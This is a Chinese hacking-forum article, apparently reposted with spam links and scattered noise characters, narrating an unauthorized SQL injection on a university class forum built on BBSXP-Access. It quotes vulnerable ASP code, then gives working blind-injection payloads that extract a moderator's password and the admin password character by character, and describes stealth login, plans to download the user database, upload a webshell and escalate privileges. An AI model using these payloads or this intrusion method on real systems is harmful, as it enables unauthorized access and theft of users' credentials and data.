Access Injection在论坛上的实例运用

韩冰

<><FONT color=#ee3d11>作者：冰血封情  来源:http://www.eviloctal.com/forum/</FONT></P>
<>寒假在家上网，闲来无事，浏览起了我们专业02级的年级主页。看看时间已经是凌晨2:19分了，给02级的年级主页做个小的安全检测吧，前段时间我粗略查看过一下，文章系统好象是存在Injection问题的，练习练习也不错么。
' l; p3 [- G6 Z+ u6 @7 E& X$ Z( F……
5 |' a: X9 R9 k& p% G6 I, @6 z# r遗憾，管理员修补了文章系统的<a href="http://www1.hackbase.com/News/World" target="_blank" >漏洞</A>，那么我们从<a href="http://bbs.hackbase.com/" target="_blank" >论坛</A>下手吧。这个是BBS<a href="http://hackbase.com/skill/XP" target="_blank" >XP</A>的<a href="http://bbs.hackbase.com/" target="_blank" >论坛</A>，记得是有<a href="http://www1.hackbase.com/News/World" target="_blank" >漏洞</A>的。粗略查看了一下，是BBS<a href="http://hackbase.com/skill/XP" target="_blank" >XP</A>-Access版，脑袋里马上反映出BBS<a href="http://hackbase.com/skill/XP" target="_blank" >XP</A>的friend.asp文件<a href="http://www1.hackbase.com/News/World" target="_blank" >漏洞</A>导致注入的问题。于是注册了一个用户杀进<a href="http://bbs.hackbase.com/" target="_blank" >论坛</A>，直奔好友管理页。HO~问题果然存在。
5 T& C! A  E' q; |6 x, }; ?下面我们来看看对此<a href="http://www1.hackbase.com/News/World" target="_blank" >漏洞</A>的分析，先看看有问题的<a href="http://hackbase.com/hacker" target="_blank" >代码</A>吧：
……
/ R* n' S8 B5 |$ f) Z- x+ y! xsub add
: j0 g3 I* c! Sif Request("username")="" then     
error2("请输入您要添加的好友名字！")
/ F; _8 l8 q" R; R' B! F$ U- d% m  Hend if
1 \+ q0 N: {% s% h……
if Request("username")=Request.Cookies("username") then
error2("不能添加自己！")
2 e3 W3 a1 w& m# o! w& Rend if
) n$ z( g; ]7 m2 c/ ]……
; C+ L+ ~* i1 F5 V5 g<a href="http://hackbase.com/hacker" target="_blank" >sql</A>="select friend from user where username='"&amp;Request("username")&amp;"'" *************
rs.Open <a href="http://hackbase.com/hacker" target="_blank" >sql</A>,Conn,1
. B+ G! F. x5 x4 e, hif rs.eof then
1 y! H, v  t5 t0 {! N+ G! x3 e1 w4 merror2("<a href="http://hackbase.com/hacker" target="_blank" >数据库</A>不存在此用户的资料！")
# z- j9 {9 w$ G5 ]3 w4 X0 @$ b% L3 \2 bend if
% a3 S7 s/ u) v2 }% s: yrs.close
5 F' S" r2 q6 r* s/ p2 o% G: {……
<a href="http://hackbase.com/hacker" target="_blank" >sql</A>="select friend from user where username='"&amp;Request.Cookies("username")&amp;"'"
rs.Open <a href="http://hackbase.com/hacker" target="_blank" >sql</A>,Conn,1,3
+ p+ {- y6 \5 X- z7 {+ W7 \if instr(rs("friend"),"|"&amp;Request("username")&amp;"|")&gt;0 then
$ b' P5 n' |$ u# J8 S% `- K2 V4 rerror2("此好友已经添加！")
2 s: G$ g- i: P8 ^% Aend if
# ~9 p1 m$ H) @& h" Y6 Y' X0 M; nrs("friend")=""&amp;rs("friend")&amp;""&amp;Request("username")&amp;"|"
3 ]0 {0 Z6 Z9 Vrs.update
- C2 g! `. Q# a2 X& h( Vrs.close
index
end sub
…… </P>
1 [+ t7 a: a* M: p<>
先放着上面的问题我们不说，我们先来阅读一下中国台湾恒逸<a href="http://hackbase.com/News" target="_blank" >资讯</A>教育训练处系统开发部的资深讲师胡百敬老师写的文章《SQL Injection》，文中有这么一处对Injection的引导性详细介绍。
最初由胡百敬老师所说
strSQL="SELECT * FROM tblUser WHERE UserName='" &amp; <a href="http://www1.hackbase.com/hacker/aggress/200501169561.htm#" target="_blank" >_</A>
Request("UserName") &amp; "' AND Password='" &amp; <a href="http://www1.hackbase.com/hacker/aggress/200501169561.htm#" target="_blank" >_</A>
Request("ass") &amp; "'"
'直接交給 SQL Server 執行，這是最危險的地方
Set rec=cnn.Execute(strSQL)
2 c4 Z& M: G  e7 ]- }8 RIf NOT rec.EOF Then
… </P>
<>
' W  {9 O+ L/ I9 i看明白了么？那么同样一个道理，虽然是Access上的问题，但是却是换汤不换药。
( h3 K/ _- x* ^现在再来看看我刚才发的那个BBS<a href="http://hackbase.com/skill/XP" target="_blank" >XP</A>中有问题的<a href="http://hackbase.com/hacker" target="_blank" >代码</A>，程序没有对username这个变量进行任何处理就直接提交了。那么一般的说，我们输入一个<a href="http://bbs.hackbase.com/" target="_blank" >论坛</A>的注册用户，那么系统会执行命令将这个用户加成我们的好友。可是由于没过滤变量，那么我们就可以通过这一功能来得到某注册用户的<a href="http://hackbase.com/hacker" target="_blank" >密码</A>！
7 j% U8 }0 P" K' Y1 B+ F2 s3 {- u. J（时间2:45，晕了晕了~~~~~~~~）
- v' f1 G4 }9 i( u/ |$ T; r( l" x, s那么现在我们就开始吧，来添加社区区长target（请允许这里屏蔽区长的用户名）的用户前台<a href="http://hackbase.com/hacker" target="_blank" >密码</A>，最艰苦的时间到了。来到好友添加的地方点“添加好友”，跳出提示框。
. g' j" Z0 n* A输入
0 n, u2 H/ w* I  Z) n8 h4 }7 Ktarget' and len(userpass)=5 and '1
确定后提示添加好友成功。看来<a href="http://hackbase.com/hacker" target="_blank" >密码</A>是5位了。（哪有那么巧啊？当然是从1试到5啦，如果愿意可以用大于小于确定范围，更快。）
; i7 F" e3 {7 l2 c那么下一步就来试<a href="http://hackbase.com/hacker" target="_blank" >密码</A>，最辛苦的时候到来了，请大加准备好一张ASCII码表，因为我们是用ASCII码来探测<a href="http://hackbase.com/hacker" target="_blank" >密码</A>的。
现在我们猜想，一般的用户设置<a href="http://hackbase.com/hacker" target="_blank" >密码</A>都喜欢用数字和字母，那么我们猜的时候为了避免工作量，就先从数字开始猜！字母数字都不行再来猜其他的。
那么我猜target用户的第一位<a href="http://hackbase.com/hacker" target="_blank" >密码</A>是0，0的ASCII码是48，先输入
8 ?6 Q$ t, l# [* `% gtarget' and asc(mid(userpass,1,1))=48 and '1
% V) q( A2 `0 y! f8 k  b$ b确定，提示添加好友成功。看来第一位<a href="http://hackbase.com/hacker" target="_blank" >密码</A>是0！依此下去我猜到了target用户的<a href="http://hackbase.com/hacker" target="_blank" >密码</A>是02target。
, l2 s' o4 ^9 c+ X这下有了前台<a href="http://hackbase.com/hacker" target="_blank" >密码</A>。先用这个<a href="http://hackbase.com/hacker" target="_blank" >密码</A>登录<a href="http://bbs.hackbase.com/" target="_blank" >论坛</A>，我选择了隐身登录（被人发现就不好了），登录后发现上方出现了管理入口，我点了一下，出现管理项目，但是要先输入<a href="http://hackbase.com/hacker" target="_blank" >密码</A>登录！我注意到了登录后台没问用户名，这就告诉我，后台和前台用户名是一样的。那<a href="http://hackbase.com/hacker" target="_blank" >密码</A>会不会设置一样呢，很多人都把N多<a href="http://hackbase.com/hacker" target="_blank" >密码</A>设置同样的<a href="http://hackbase.com/hacker" target="_blank" >密码</A>，所以决定尝试一下？结果——失败！晕……那不是还要猜后台<a href="http://hackbase.com/hacker" target="_blank" >密码</A>？
: p8 ?# {- p0 n7 Q2 d没办法，来分析一下setup.asp文件吧。
9 u& ^8 J, c- l9 \" g6 ]后台的管理的<a href="http://hackbase.com/hacker" target="_blank" >密码</A>为adminpassword,它是在setup.asp中定义的，这些你都要去现成的资料里查找！<a href="http://hackbase.com/hacker" target="_blank" >代码</A>如下：
7 Q' ^9 l) t4 U1 PSet Conn=Server.CreateObject("ADODB.Connection")
Connstr="DBQ="&amp;server.mappath(datafile)&amp;";DRIVER={Microsoft Access Driver (*.mdb)};"
Conn.Open Connstr
Set rs = Server.CreateObject("ADODB.Recordset")
1 L9 e9 \4 r' j7 x<a href="http://hackbase.com/hacker" target="_blank" >sql</A>="select * from clubconfig"
rs.Open <a href="http://hackbase.com/hacker" target="_blank" >sql</A>,Conn,1
clubname=rs("clubname")
/ l! q2 m' M9 T% L# z5 K" o% \' Hcluburl=rs("cluburl")
associatortol=rs("associatortol")
newassociator=rs("newassociator")
5 t. e. |* f4 z9 e3 ^) {administrators=rs("administrators")
4 X$ d) p' R, S0 S/ R1 yadminpassword=rs("adminpassword") ****************
) \) z' e6 D9 i4 v) m: Thomeurl=rs("homeurl")
homename=rs("homename")
  Q# L: ~+ d7 e$ `; {( Y' x* U6 ^affichetitle=rs("affichetitle")
' Q# _5 n6 Q" T% c& i& @; Uaffichecontent=rs("affichecontent")
affichetime=rs("affichetime")
afficheman=rs("afficheman")
6 D6 j- u4 G4 j; W. i" ]( Abadwords=rs("badwords")
/ Z; L  T$ X+ e, @% F/ b0 sallclass=rs("allclass")
selectmail=rs("selectmail")
- T. e5 j- C! {' z% p' P0 psmtp=rs("smtp")
smtpmail=rs("smtpmail")
$ }  o- {, [2 T8 n: z- Y/ Yrs.close </P>
<>
( r0 R$ I( g" S7 {2 Sclubconfig表中的adminpassword字段和friend.asp用的表不一样，所以这里要用到跨表子查询。但是setup.asp是不存在问题的，所以还要用friend.asp做入口。
, ?/ z$ i* i7 K5 c* R8 b于是根据<a href="http://hackbase.com/hacker" target="_blank" >密码</A>心理学，我首先猜测他的<a href="http://hackbase.com/hacker" target="_blank" >密码</A>也是5位！
输入
target' and exists (select administrators from clubconfig where len(adminpassword)=5) and '1
; c2 p8 e5 h2 N! yYES！竟然对了？
晕晕晕……
9 F  P' e, E4 i2 |; S. J4 n( D8 W（看了一下表3:12了，抓紧时间干哪！）
现在来猜后台<a href="http://hackbase.com/hacker" target="_blank" >密码</A>的第一位，输入
" L0 b# @" R- Ntarget' and exists (select administrators from clubconfig where asc(mid(adminpassword,1,1))=48) and '1
% h! W, e6 d' a2 o3 Z5 Q) l) u. @HO~又对了，此时我的好友栏已经N个同名的好友了……用上面的方法猜到后台<a href="http://hackbase.com/hacker" target="_blank" >密码</A>的ASCII码值是48、50、98、98、115，那就是02bbs。
6 V7 k, P* m! X, j  {2 G& j现在来登录看看，天~我终于进去了后台，但是觉得BBS<a href="http://hackbase.com/skill/XP" target="_blank" >XP</A>的后台好破烂啊。
兴探之际，眼睛一亮发现了一个重大的问题！！！
" `% \) F0 s. F9 q- ~& l这也是本文重点所在，就是想告诉大家，以后注册YUZI<a href="http://bbs.hackbase.com/" target="_blank" >论坛</A>要小心了！
; a  ]6 I8 y7 V/ |原来BBS<a href="http://hackbase.com/skill/XP" target="_blank" >XP</A>的<a href="http://bbs.hackbase.com/" target="_blank" >论坛</A>超级管理员是可以明文查看用户的<a href="http://hackbase.com/hacker" target="_blank" >密码</A>的，那如果管理员有点歪心……很多人的<a href="http://hackbase.com/hacker" target="_blank" >密码</A>N多个地方的<a href="http://hackbase.com/hacker" target="_blank" >密码</A>可是都是用相同的啊。反正国外制造的Invision Power Board<a href="http://bbs.hackbase.com/" target="_blank" >论坛</A>管理员是根本不能明文查看用户的<a href="http://bbs.hackbase.com/" target="_blank" >论坛</A><a href="http://hackbase.com/hacker" target="_blank" >密码</A>的，最多只能修改！真搞不懂YUZI工作室的人是怎么想的。要是谁用这个借口和他们打官司，狠狠的讹上他们一笔，嘿嘿……不敢想了。
7 ]$ V4 R7 M7 W很多人想也许<a href="http://hackbase.com/hacker" target="_blank" >入侵</A>到这里就告一段落了吧？
8 M, p% [- _- ^没有呢，继续渗透啊，不是可以明文查看<a href="http://hackbase.com/hacker" target="_blank" >密码</A>了么？好了，现在我们查看所有人的<a href="http://hackbase.com/hacker" target="_blank" >密码</A>，然后再用这些人的<a href="http://hackbase.com/hacker" target="_blank" >密码</A>登录查看他们的<a href="http://hackbase.com/hacker" target="_blank" >密码</A>保护的问题和答案（明白危害了吧）！
' E" Q  E* A& i( r$ R7 Q" R& z1 W你要我一个一个查？门儿都没有！
  K9 O% p: b4 P# a3 j3 f不可以登录后台么？后台的系统配置属性里我查看到了<a href="http://hackbase.com/hacker" target="_blank" >数据库</A>的地址……
2 Y* O- `+ m5 p" w0 u现在我把<a href="http://hackbase.com/hacker" target="_blank" >数据库</A>下载回来，剩下的不就完成了？想看谁<a href="http://hackbase.com/hacker" target="_blank" >密码</A>有谁<a href="http://hackbase.com/hacker" target="_blank" >密码</A>！
. h" c. Q/ v3 r( q然后再修改上传文件的扩展名传一个webshell再向主机渗透，有了主机的guest权限，想办法提升权限还不容易啊？！从后台看见主机是IIS5，本地溢出那么多，随便一个就搞定了……
/ Q+ h' t6 z( x7 I& m不过那都是计划了。今天先告一段落吧。
$ G# H# l* F0 U8 y3:33！困了……睡觉咯~~~~~~~~~~~~~~~~~~~~~</P>